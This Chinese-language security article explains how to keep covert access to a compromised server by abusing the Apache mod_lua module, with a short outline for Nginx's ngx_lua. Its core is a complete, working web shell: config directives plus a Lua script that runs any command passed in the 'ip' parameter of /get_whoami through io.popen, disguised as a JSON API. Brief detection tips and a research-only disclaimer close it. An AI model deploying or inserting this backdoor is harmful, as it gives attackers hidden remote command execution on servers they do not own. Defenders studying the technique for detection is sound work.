利用Apache Nginx 的lua 模块的鸡肋权限维持的方法
字数 919 2025-08-26 22:11:40
Apache/Nginx Lua模块权限维持技术研究
概述
本文介绍了一种利用Apache和Nginx的Lua模块实现权限维持的技术方法。这种方法通过在Web服务器中植入Lua脚本,可以建立一个隐蔽的后门通道,用于在渗透测试或攻击中维持对目标系统的访问权限。
技术背景
Apache和Nginx作为全球使用最广泛的两个Web容器,都支持模块化扩展。其中Lua模块允许在服务器处理请求时执行Lua脚本,这为权限维持提供了可能性。
Apache Lua模块权限维持实现
环境准备
- 操作系统:CentOS 7.4
- Web服务器:Apache 2.4.39
- 控制面板:宝塔面板6.9
- 所需模块:mod_lua
配置步骤
-
确认Lua模块安装
检查Apache是否已安装mod_lua模块:LoadModule lua_module modules/mod_lua.so -
创建配置文件
在Apache配置中添加以下内容:LuaPackagePath /test/?.lua LuaCodeCache forever LuaHookAccessChecker /test/test.lua get_late LuaInputFilter post_filter /test/test.lua post SetInputFilter post -
编写Lua脚本(test.lua)
require 'apache2' function return_message(status, msg) httpd.content_type = "application/json;charset=utf-8" httpd.status = status httpd:write(msg) return apache2.DONE end function get_return_state(rstate, rmsg) result = {} result['status'] = rstate result['msg'] = rmsg return result end function get_whami() if not uri_request_args['ip'] then return get_return_state(true, '格式错误') end data = io.popen(uri_request_args['ip']) return data:read("*all") end function min_route() if httpd.uri == '/get_whoami' then return_message(200, get_whami()) return true else return false end end function get(request_httpd) httpd = request_httpd uri_request_args = httpd:parseargs(); if min_route() then return apache2.DONE end return apache2.DECLINED end function post(request_httpd) httpd = request_httpd if min_route() then return apache2.DONE end return apache2.DECLINED end -
功能说明
- 脚本监听
/get_whoami路径 - 通过
ip参数接收系统命令并执行 - 使用
io.popen执行系统命令并返回结果 - 伪装成正常的JSON API响应
- 脚本监听
-
重启Apache服务
配置完成后需要重启Apache使更改生效
Nginx Lua模块实现思路
Nginx可以通过类似的方式利用ngx_lua模块实现权限维持:
- 安装ngx_lua模块
- 在Nginx配置中添加Lua脚本执行指令
- 编写类似的Lua脚本处理特定请求
- 实现命令执行和结果返回功能
防御措施
-
检测方法
- 检查Web服务器配置中异常的Lua模块加载
- 监控服务器上可疑的Lua脚本文件
- 审计Web服务器日志中的异常请求
-
防护建议
- 限制Lua模块的使用范围
- 禁用不必要的模块
- 实施严格的权限控制
- 定期检查服务器配置和脚本文件
注意事项
- 本文仅用于安全研究和防御技术研究
- 在实际环境中使用此类技术可能违反法律法规
- 建议仅在授权测试环境中进行实验
- 该方法存在被安全设备检测的风险
总结
通过Apache/Nginx的Lua模块实现权限维持是一种相对隐蔽的技术,利用了Web服务器正常功能的扩展机制。安全团队应了解此类技术以更好地防御潜在攻击,同时强调此类技术仅应用于合法的安全研究和防御目的。